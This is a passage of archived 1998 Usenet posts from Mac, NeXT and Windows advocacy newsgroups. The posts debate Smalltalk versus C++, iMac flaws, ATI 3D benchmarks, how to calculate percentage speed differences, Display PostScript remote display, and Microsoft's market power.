>>hard part, and it should be fairly easy to code it in any language you
>>know. And learning a new language takes about a month of disciplined work.
>>
>>There are aids. You can get libraries in C, for instance, with functions
>>that have math and sortings and other activities figured out for you. You
>>can use a framework like PowerPlant, or a language like Visual BASIC, that
>>takes care of many problems with file management and the user interface.
>>But the part that makes the program unique and useful will always be the
>>hard part.
>>--
>>"Don't just do something, stand there!" - Buddha
>>
>
>I agree with you but let's not forget that you still need to
>understand the problem that your writing the software to solve in the
>first place.
>Programming should not be labour intensive task but understanding the
>problem might be e.g. discussing user requirements etc.
>It really depends on what you are setting out to achieve.
Quite right. I suppose I could have said "That's what I meant by figuring
out the logic", but I blipped over that part. Defining the problem that
needs to be solved can be difficult, and sometimes you understand the
problem much better after you've done some of the coding.
Still, I think the language is the least of our worries. A good language
can make your job easier as far as it goes, but you could do
object-oriented programming in AppleSoft BASIC if you make sure your team
follows disciplined naming and subroutine conventions.
>I've joined this thread at a rather late stage so excuse me if I've
>completely missed or reiterated the original point.
I rarely let that bother me. I don't think you should, either.
--
"Don't just do something, stand there!" - Buddha
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 09:02:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mqfam$7c5$1@ns3.vrx.net>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
<358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
<35907946.259771E8@spamtoNull.com>
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In <35907946.259771E8@spamtoNull.com> Jonathan Harker claimed:
> As ATI hardware/software environment is still relatively new to the Mac
> environment, I can only say....wait awhile, and see....:)
Your definition of "new" is an odd one, they've been supplying Apple since
the PMac days (maybe earlier). I'd say some four years is long enough to
know.
Maury
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 25 Jun 1998 19:55:51 GMT
Organization: San Diego State University
Message-ID: <6mua07$7ps$1@hole.sdsu.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net>
Steve Kellener (skellener@earthlink.net) wrote:
: Ahh, then you can use the CLI. Have you ever tried NeXTSTEP?
Rhapsody DR2 only, as well as a few hours' use on an old NeXT
cube in the Jorgenson Lab at 'Tech. My opinion stands: the
NeXT GUI may take a good screen shot but it unnecessarily
ornamented.
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 25 Jun 1998 15:43:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mtr6k$rse$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com>
<slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mtigq$lq5$1@ns3.vrx.net>
<6muan0$pi3@nntp02.primenet.com>
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Cc: jjens@primenet.com
In <6muan0$pi3@nntp02.primenet.com> John Jensen claimed:
> SmallTalk is cool, but for a very long time there was no way to deliver a
> program without delivering an environment snapshot. That alone prevented
> wide use.
Absolutely, but that DID change. Maybe it was still tainted?
> You can trot out the "java hype" horse, if you like, but the fundimental
> reason Java claimed territory is that it worked in a browser and allowed
> distribution of active content before anyone else did. Maybe you don't
> remember how "cool" that was.
And hype <> cool?!? My point here is that it got attention because of what
it did, when in fact the more important part is how it did it.
Maury
From: tim@jump.net (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Wed, 24 Jun 1998 17:31:00 -0500
Organization: none
Message-ID: <tim-2406981731010001@207.8.127.165>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mt5uv$ed3$1@leonie.object-factory.com> <slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mtigq$lq5$1@ns3.vrx.net> <6mu83d$5t3$1@jetsam.uits.indiana.edu>
In article <6mu83d$5t3$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> A lot of people seem to like SmallTalk. Maybe I will like it.
> Can you describe SmallTalk and what makes it good, and contrast it with
> C++?
There are a number of Smalltalk tutorial resources on the web that can go
into much more detail than can be done justice, here. Start with the
Squeak homepage at
http://st-www.cs.uiuc.edu/squeak/
and look for the tutorial links towards the end. You can also download
the current version of Squeak from there (free, and runs on Mac,
Win95/WinNT, Linux, and other UN*Xes).
One of the main benefits of Smalltalk is that the language is *simple*.
Everything in the system is an object, including numbers, processes, stack
frames, windows, etc. There is very little syntax to learn. And the lack
of special cases makes C++ look byzantine by comparison.
>Specifically the way it handles things like classes, templates, and
> inheritance.
Well, there's one major benefit of Smalltalk, right there: Smalltalk has
no need for "templates"; they are just a kludge of the C++ typing system.
I don't have to have a different template instantiation of a particular
collection class for int, Integer, String, etc. In Smalltalk objects are
dynamically typed, and a Collection can hold any Object.
-- Tim Olson
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Thu, 25 Jun 1998 11:20:40 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Ev3u6G.4qJ@AWT.NL>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com> <slrn6p04bn.ghk.sal@panix3.panix.com> <898643883.37248@kelp.mbay.net> <slrn6p11e7.pk0.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
>I still think Steve would have raided the .edu world for the stuff he
>missed in his trip to Parc. OOP, networking and "modern OS" features
>would have been added to the Mac, rather than having them form the
>basis of NeXTStep.
Actually, in the Triumph of the Nerds program Steve says that OO and
networking were also to be seen at PARC. But they were so impressed by the
GUI that they lost sight of those other two revolutions. With NeXT, Steve
tried to redo the revolution, but now with all three OO, networking (remember
'interpersonal computing'?) and a GUI.
--G
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062522302600.SAA24848@ladder03.news.aol.com>
Date: 25 Jun 1998 22:30:26 GMT
Organization: AOL http://www.aol.com
References: <1998062522253900.SAA28331@ladder01.news.aol.com>
As regards preferences on icon sizes...
This is influenced by the dpi setting of the system, the Mac's at 72 dpi is
antiquatedly too small, the NeXT's at 92 is okay, while Windows outdoes them
all (after a fashion) by starting at 96 dpi and going up.
As I've said before, I want a system which allows this to be seemlessly
adjusted and controlled by the user, but I believe that a higher dpi default is
desirable.
As regards NeXTstep making just "a pretty screen shot" and having too much
ornamentation--in my experience, every element on the NeXT desktop is useful
and interactive--could you name an element which seems gratuituous?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 00:03:46 GMT
Organization: Indiana University, Bloomington
Message-ID: <6muoh2$nde$1@flotsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mtigq$lq5$1@ns3.vrx.net> <6mu83d$5t3$1@jetsam.uits.indiana.edu> <tim-2406981731010001@207.8.127.165>
In article <tim-2406981731010001@207.8.127.165>,
Tim Olson <tim@jump.net> wrote:
>In article <6mu83d$5t3$1@jetsam.uits.indiana.edu>,
>glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
>
>> A lot of people seem to like SmallTalk. Maybe I will like it.
>> Can you describe SmallTalk and what makes it good, and contrast it with
>> C++?
>
>There are a number of Smalltalk tutorial resources on the web that can go
>into much more detail than can be done justice, here. Start with the
>Squeak homepage at
>
> http://st-www.cs.uiuc.edu/squeak/
>
>and look for the tutorial links towards the end. You can also download
>the current version of Squeak from there (free, and runs on Mac,
>Win95/WinNT, Linux, and other UN*Xes).
Well, I found it. And I kept looking for a blinking cursor or something.
I guess I'll have to read some tutorials or something.
--
"Don't just do something, stand there!" - Buddha
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 23:02:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p5lnl.gdt.sal@panix3.panix.com>
References: <6mr6lg$k2b$3@hecate.umd.edu> <B1B6B76C-1F227@206.165.43.171> <see-below-2406981630520001@dynamic48.pm05.mv.best.com> <6ms40b$qph$1@hecate.umd.edu> <slrn6p4teh.f3t.sal@panix3.panix.com> <359277F4.78F35BCA@nstar.net> <slrn6p522u.f3t.sal@panix3.panix.com> <359292A6.501573CE@nstar.net>
On Thu, 25 Jun 1998 13:10:46 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Heh! I wonder how many families will learn to make use of technology
>this way. I'm optimistic; ubiquitous digital technology in the hands of
>*families* would be a great thing, indeed. Apple should find a worthy
>cause like this and put all its wood behind that arrow.
QuickTime is step in the right direction. There is plenty of room for
growth there. It would have been nice if the iMac had video i/o on the
DAV port. Maybe the next one.
--
sal@panix.com
Salvatore Denaro
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: Thu, 25 Jun 1998 18:02:33 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3592D709.DB3A7046@nstar.net>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> Not if you wanted to keep the AIO design. How do you use a PCI card for
> video in a machine with a monitor built in?
You don't. You provide a slot for expansion that can be hooked up to
another monitor, or a TV. History, history: the SE series had a Nubus
expansion slot that allowed Radius full-page displays to be used. This
was one of the configurations that made desktop publishing so popular on
the Macintosh.
MJP
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: Thu, 25 Jun 1998 18:15:16 -0500
Message-ID: <6mulmq$q9e$1@news0-alterdial.uu.net>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com>
Salvatore Denaro wrote in message ...
>On Thu, 25 Jun 1998 21:17:43 +0200, Jostein Johansen <jostein@chem.uit.no>
wrote:
>>No, i guess you are right, apples strategy of integrating the graphics
>>chipset on the mainboard probably makes it difficult to chose another
>>chipset now. Thats probably one of the largest flaws of the iMac..
>
>If I had to rank the iMacs flaws/area's of improvment:
>
>1) Not under $1000 US
>2) 33k modem, not 56k
Actually, there is an external USB modem that's available for those that
have the phone line to support it. It's the US Robotics External Sportster
56K, v.90 Voice Fax/modem with Speaker Phone. Has both serial and USB
connectivity. In the big, heavy box (3 Lbs.). For Win95 (Serial only) and
Win98 (Serial & USB). It has an SRP of $249, and unlike most of the
non-trivial USB stuff promised for iMac, it's shipping now. The lack of a
Mac driver might be a problem, but at some point an external modem is an
external modem so the lack of a driver might not be as big of a problem as
it would be for the other non-trivial USB devices currently shipping, such
as the video webcams that are becoming so popular. Having said all that, I'm
just as happy that I can use the cheaper internal modems in my current batch
of machines - haven't had an external since the days of 1200 baud.
mark
From: tim@jump.net (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 22:00:25 -0500
Organization: none
Message-ID: <tim-2406982200260001@jump-k56flex-1004.jumpnet.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <3591D5A7.3FE3846B@spamtoNull.com> <joe.ragosta-2506980730170001@elk69.dol.net> <6muqc0$psj$1@nnrp1.dejanews.com>
The only thing worse than posting a wrong answer is posting a wrong answer
and berating the person who had it correct in the first place.
In article <6muqc0$psj$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> Saying 300% faster is the same as saying 3x faster.
Saying 300% faster is saying 100% + 300% = 4X
300% faster == 4 times as fast.
> Slower, in this context, is just a reciprocal relationship of faster.
> So, 300% slower is the same as 1/3x faster.
> (1/3) X (20) = 6 2/3
No, it isn't.
Saying 300% slower is saying 100% - 300% = -200%, which is meaningless in
this context.
The equation for the percentage change from M to N is:
(N-M)/M * 100
So if performance went from 20 to 6.67 (as in your example above), the
change in performance is:
(6.67-20)/20 * 100 = -66.66%, not "-300%"
But if performance went from 6.67 to 20, we get:
(20 - 6.67)/6.67 * 100 = +200%
-- Tim Olson
Date: Fri, 26 Jun 1998 06:30:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: cancel <joe.ragosta-2606980622310001@elk31.dol.net>
Message-ID: <joe.ragosta-2606980630160001@elk31.dol.net>
Control: cancel <joe.ragosta-2606980622310001@elk31.dol.net>
cancel <joe.ragosta-2606980622310001@elk31.dol.net>
Date: Fri, 26 Jun 1998 06:36:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2606980636130001@elk31.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard.898797810@blue.weeg.uiowa.edu> <joe.ragosta-2506981458100001@wil45.dol.net> <6muidd$mul$1@hercules.acsu.buffalo.edu> <joe.ragosta-2506981948340001@elk82.dol.net> <6mv6ao$sps$1@xena.acsu.buffalo.edu>
In article <6mv6ao$sps$1@xena.acsu.buffalo.edu>,
scholl@xena.acsu.buffalo.edu (Edward P Scholl) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : In article <6muidd$mul$1@hercules.acsu.buffalo.edu>,
> : scholl@hercules.acsu.buffalo.edu (Edward P Scholl) wrote:
> : > Joe Ragosta (joe.ragosta@dol.net) wrote:
>
> so what do you mean "no". that was one of my choices. with that much
> math, shouldn't you also have a PhD in math? just curious, what math
> courses have you had? i've had up to multi. var calc, linear algebra,
> and some stats, and i'm pretty sick of it...
I don't even remember all of it. I remember a bunch of calculus courses, a
couple in linear algebra, a couple in differential equations, then a few
oddball courses.
>
> : OK. If your math is right, what does "100% slower" mean? By your
> : definition, 100% slower is 1/1 times the speed of the original. So, "100%
> : slower" means "the same speed". That is clearly wrong.
>
> wow, you can read minds? i posted my definition earlier, but my news
> server seems not to have sent it out (at least i don't see it), so how
> do you know my definition? For what it's worth, here's my definition:
>
> chuck wrote:
> >previously joe wrote:
>
> >>300% of 20 fps is 60 fps.
>
> uh huh. you're right so far joe...
OK.
>
> >Correct-- 300% faster than 20 fps is 60 fps.
>
> i would disagree with chuck here... obviously 300% of 20 is 3 x 20,
> hence 60. however, would everyone agree 300% _faster_ than 20 is
> 20 + 300% of 20 and hence 80? this is because 100% _more_ of
> something would be 2x the original. unless you think 100% faster than
> 20fps is 20fps? so 100% faster than 20fps wouldbe 20fps + 100% of 20
> = 20fps+fps. with me so far? same goes for 300% (replace 100% w/
> 300% of course)
OK. So 300% of 20 fps is 60 fps.
So, 300% _faster_ is 80 fps.
And 300% slower than 20 fps is negative 40 fps.
>
> >Let's do the exact reverse. What's 300% slower than 60 fps?
> >Answer: 20 fps
>
> NO chuck! 100% of 60 is 60, 300% of 60 is 180; doesn't matter if you
> are adding of subtracting! since 60 - 40 =20, the difference (40) is
> 66% of 60. 60fps is 300% of 20fps. percentages don't work backwards.
> so you're answer is totally bogus.
Correct.
>
> >>If it's 300% slower, that means it's 60 fps slower than 20, which is
> >>negative 40 fps.
> >Nope. 300% slower means that it runs at one-third the speed:
>
> this is where you are wrong joe. when you are dealing with percentages
> of fps, once you get to 100% slower, which is 0fps, you can't get any
> slower. i don't care what you multiply or divide it by, you're not
That's not true at all. You're right about 100 fps slower. Using Chuck's
formula, 100% slower than 20 fps would be 20 fps (which is clearly a
nonsense answer). Using your formula, 100% slower than 20 fps would be
zero. You are correct.
Your mistake is in assuming you can't go more than 100% below something.
In "real life", that would be true. But there's no mathematical reason why
you can't calculate it. Under your scheme, 100% slower, 200% slower, 300%
slower, and so on would all be the same answer--zero. That is incorrect.
> gonna get a negative number. i suppose if you wanna get silly, you
> could (sort of) argue that fps is a scalar and take you 300% and
> subtract it from the original value to get a negative value, in which
> case you would be running at 40fps backwards, but that's _really_ silly.
It's not silly. It's a mathematical process. It's correct, it's just that
the answer (negative 40 fps) is meaningless in real life--which is exactly
why I objected to the original poster who claimed that the ATI card was
300% slower than something.
> and chuck, you're just losing it at this point percentages don't work
> like fractions.
>
> <snip chuck's equations based on assumption that percentages work
> reciprocally, which they don't. you're thinking fractions chuck.>
Correct.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Wed, 24 Jun 1998 14:02:55 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Ev270v.1yw@haddock.cd.chalmers.se>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com>
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Cc: Nepenthe@my-dejanews.com
In <6mqs8j$7a6$1@nnrp1.dejanews.com> Nepenthe@my-dejanews.com wrote:
> A question,
>
> As I understand it it was the server/client nature of DPS that allowed
> applications and windows to be displayed remotely on Openstep/Rhapsody, so
> that on a single user machine there is a DPS server, and the DPS client
which
> displays the interface (have I drifted into totally incorrect land yet?).
I'd say that the server displays the interface. The client would be you
application.
> With MacOS X and EQD there is no server/client system and so no inherant
> remote display/hosting capability. Is there any reason EQD could not be
> adapted to a client/server system - or am I completely off base :)?
Provided that programmers only draw using the API, it should be possible to
make the commands execute on a remote machine. However, the programming style
that is required for good performance on a client/server system like DPS
means that programmers who try to get good performance on the local system
should also see good performance when displaying over the network -- look at
the techniques described in my article on StepWise, for an example. The issue
on a client server system is hiding the latency. With a system like EQD the
latency will be minimal when displaying on the local host. Therefore
programmers can unknowingly rely on styles that require minimal latency to be
efficient, and their applications will have unacceptable network performance
because of it.
So, in summary, there is probably nothing about EQD that makes it unsuitable
for networks, it is just that it doesn't encourage a programming style that
makes remote display efficient.
Regards,
John Hornkvist
Address: cd.chalmers.se
Name: nhoj
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 16:00:11 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3591228B.B6274844@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <35910AA6.9383D8FB@nstar.net> <joe.ragosta-2406981035290001@wil45.dol.net> <3591128A.6D9D5DD5@nstar.net> <joe.ragosta-2406981146120001@wil52.dol.net>
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Joe Ragosta wrote:
> No. You have to read the source the person cited. He cited Tom's Hardware
> Page. I went to the exact page that he cited and showed that his
> conclusions were erroneous.
>
> Just how is that lying?
Here is the article in which you responded:
<quote>
> Jostein Johansen wrote:
>
> > >
> >
> > At least you can throw in a 3DFx card in your lowcost PC if you get sick
> > of the crappy 3D-preformance from vendors like ATI. If you look at some
> > hardwaretest sites like http://www.anandtech.com/3dvidacc.html or
> > http://www.tomshardware.com/3dchip0498.html you will notice that ATI has
> > a decent 2D-performance, but more or less useless 3D-performance in
> > games (in many tests its the SLOWEST chipset around). And as stated
> > before in this thread ATI has a reputation of delivering unstable
> > drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
> > you would have known this)
Tom said that? Really?
Hmm, I checked his 3D video card comparison and found the following:
http://www2.tomshardware.com/3drev-3dbench.html
The ATI expert is as much as 95% as fast in 3D as the fastest card
tested.
At the low end, it's as low as 45% of the Viper 330 (although it's only
15% of the GL1000 for NT GL tests).
What you meant was that for some things the ATI is much slower than
_some_
other cards. To say that it's useless is completely, utterly wrong.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
</quote>
Notice: The Tom's Hardware Page referred to by Jonathan is
http://www.tomshardware.com/3dchip0498.html. An April 1998 review of 3D
accelerators. The page *you* referred to was
http://www2.tomshardware.com/3drev-3dbench.html. A November 1997 review.
You just said that you went to "the exact page" he linked. No, you did
not. Blatant lie and misrepresentation.
How much clearer do I have to make this for you, Joe?
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 16:22:29 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <359127C5.E2AA49AD@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <3591098F.BDFA0AEC@nstar.net> <joe.ragosta-2406981032580001@wil45.dol.net> <35911238.2CB27BE7@nstar.net> <joe.ragosta-2406981143340001@wil52.dol.net>
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Joe Ragosta wrote:
> Bullshit. I haven't even taken a position on whether the ATI chip is a
> good one or not. I don't care. I'm just objecting to the person misquoting
> Tom's Hardware page.
And I've already demonstrated that *you* are the one who misquoted.
> Go back and read the thread. It seems that you're the one who jumped into
> a thread without seeing what the discussion was about.
I predate you in this thread, Joe. If you're so sure of what you're
talking about, how about a name instead of "the person"?
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Wed, 24 Jun 1998 09:28:56 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2406980928560001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com>
In article <6mpkdi$6on$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
>If I were an ISP, and MIcroSquish sauntered up to me and said: "Within two
>years, you *will* be running NT, not UNIX." I'd say: "The only way you can
>make me do that, is to buy this company of mine." and think to myself:
>"Yeah, right. Just like Hotmail!"
They _are_ thinking just that. Yet, when MS rattles off the lists of
_industries_ that they have done this to, the odds have to go in MS's
favor. Right now they are making headway because so many companies want
FrontPage support more than security... and the ISPs are bending because
they need to in order to keep business.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 24 Jun 1998 09:25:04 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2406980925040001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <35cb658a.49037902@news.supernews.com>
In article <35cb658a.49037902@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>Well, obviously they use apps. And everybody needs simple office app
>functionality. But they don't buy a PC to use _Office_. They buy a PC
>to do wordprocessing. Well, they buy a microcomputer to do
>wordprocessing.
Most people buy a computer to primarily run Office in full compatability
mode. Look in any company. Could they choose any wordprocessor? No.
Because only Office reads Office files. And nobody sends anything but
Office files.
Why do you learn, speak, and write in English and not Latin? Latin is a
perfectly good language - much easier than English to learn. Much more
consistent. Less ambiguous. And you get a good leg up on the romance
languages.
Oh, because you wouldn't understand what everyone was saying.
Thank you for playing.
>They buy a PC to use Windows. They shouldn't. They should buy Windows
>(if they want) to use a PC. And use that PC for anything they might
>want....
They all go together. The PC is cheap, Windows is known, and Office is
standard. They buy the package. If the Mac was as cheap, MacOS was easy
enough not to need to be known, and Office was ensured to be just as
standard, then I think Mac sales would rise. Aside from the PC industry,
everyone else sells systems - hardware and software together. MS and Intel
are symbiotic. Think of them as one - Wintel Inc. You can't separate the
two, nor should you.
Is it just a coincidence that both MS and Intel are in anti-trust
problems? No. The govt. is looking at them as Wintel Inc., because that is
the reality today.
-Bob Cassidy
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 24 Jun 1998 16:25:44 GMT
Organization: Sun Microsystems UK
Message-ID: <6mr9a8$ga6@flonk.uk.sun.com>
References: <6mr3er$f9s$1@nnrp1.dejanews.com>
In article <6mr3er$f9s$1@nnrp1.dejanews.com>, boracay@hotmail.com writes:
>In article <6mp7vo$nk@ragnarok.en.uunet.de>,
> holger@_REMOVE_THIS_.wizards.de (Holger Hoffstaette) wrote:
>
>> Where's the inherent 'value' of making programming easy? Nobody complains
>> that particle physics, the various forms of engineering, heart and brain
>> transplants or flying to the moon is 'so hard'. Why should programming a
>> machine as versatile and complicated as a computer be 'easy'?
>
[snip]
>
>I personally want my computer to serve my interests. I think it is high time
>to have less back breaking labor intensive programming. The time has arrived,
>yet the product hasn't.
Ya, and I want my car to serve my interests ... ie, drive me to work everyday
without me lifting a finger to guide it. It's not possible yet - perhaps it
